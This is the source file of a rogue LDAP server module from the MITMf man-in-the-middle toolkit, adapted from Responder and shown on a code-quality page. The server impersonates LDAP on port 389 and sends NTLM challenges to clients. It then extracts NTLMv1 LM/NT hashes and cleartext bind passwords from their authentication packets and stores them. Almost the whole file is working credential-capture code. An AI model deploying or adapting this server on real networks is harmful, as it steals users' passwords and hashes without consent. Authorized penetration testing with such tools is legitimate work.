byt3bl33d3r/MITMf

View on GitHub
core/servers/LDAP.py

Summary

Maintainability
A
1 hr
Test Coverage
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import core.responder.settings as settings
import threading
from traceback import print_exc

from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from core.responder.utils import *

class LDAP:

    def start(self):
        try:
            if OsInterfaceIsSupported():
                server = ThreadingTCPServer((settings.Config.Bind_To, 389), LDAPServer)
            else:
                server = ThreadingTCPServer(('', 389), LDAPServer)

            t = threading.Thread(name='LDAP', target=server.serve_forever)
            t.setDaemon(True)
            t.start()
        except Exception as e:
            print "Error starting LDAP server: {}".format(e)
            print_exc()

class ThreadingTCPServer(ThreadingMixIn, TCPServer):
    
    allow_reuse_address = 1

    def server_bind(self):
        if OsInterfaceIsSupported():
            try:
                self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
            except:
                pass
        TCPServer.server_bind(self)

def ParseSearch(data):
    Search1 = re.search('(objectClass)', data)
    Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
    Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)

    if Search1:
        return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
    if Search2:
        return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
    if Search3:
        return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))

def ParseLDAPHash(data, client):
    SSPIStart = data[42:]
    LMhashLen = struct.unpack('<H',data[54:56])[0]

    if LMhashLen > 10:
        LMhashOffset = struct.unpack('<H',data[58:60])[0]
        LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
        
        NthashLen    = struct.unpack('<H',data[64:66])[0]
        NthashOffset = struct.unpack('<H',data[66:68])[0]
        NtHash       = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
        
        DomainLen    = struct.unpack('<H',data[72:74])[0]
        DomainOffset = struct.unpack('<H',data[74:76])[0]
        Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
        
        UserLen      = struct.unpack('<H',data[80:82])[0]
        UserOffset   = struct.unpack('<H',data[82:84])[0]
        User         = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')

        WriteHash    = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal

        SaveToDb({
            'module': 'LDAP',
            'type': 'NTLMv1',
            'client': client,
            'user': Domain+'\\'+User,
            'hash': NtHash,
            'fullhash': WriteHash,
        })
    
    if LMhashLen < 2 and settings.Config.Verbose:
        settings.Config.ResponderLogger.info("[LDAP] Ignoring anonymous NTLM authentication")

def ParseNTLM(data,client):
    Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
    Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)

    if Search1:
        NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
        NTLMChall.calculate()
        return str(NTLMChall)

    if Search2:
        ParseLDAPHash(data,client)

def ParseLDAPPacket(data, client):
    if data[1:2] == '\x84':

        PacketLen        = struct.unpack('>i',data[2:6])[0]
        MessageSequence  = struct.unpack('<b',data[8:9])[0]
        Operation        = data[9:10]
        sasl             = data[20:21]
        OperationHeadLen = struct.unpack('>i',data[11:15])[0]
        LDAPVersion      = struct.unpack('<b',data[17:18])[0]
        
        if Operation == "\x60":

            UserDomainLen  = struct.unpack('<b',data[19:20])[0]
            UserDomain     = data[20:20+UserDomainLen]
            AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]

            if AuthHeaderType == "\x80":
                PassLen   = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
                Password  = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]

                SaveToDb({
                    'module': 'LDAP',
                    'type': 'Cleartext',
                    'client': client,
                    'user': UserDomain,
                    'cleartext': Password,
                    'fullhash': UserDomain+':'+Password,
                })
            
            if sasl == "\xA3":
                Buffer = ParseNTLM(data,client)
                return Buffer
        
        elif Operation == "\x63":
            Buffer = ParseSearch(data)
            return Buffer
        
        else:
            if settings.Config.Verbose:
                settings.Config.ResponderLogger.info('[LDAP] Operation not supported')

# LDAP Server class
class LDAPServer(BaseRequestHandler):
    def handle(self):
        try:
            while True:
                self.request.settimeout(0.5)
                data = self.request.recv(8092)
                Buffer = ParseLDAPPacket(data,self.client_address[0])

                if Buffer:
                    self.request.send(Buffer)
        
        except socket.timeout:
            pass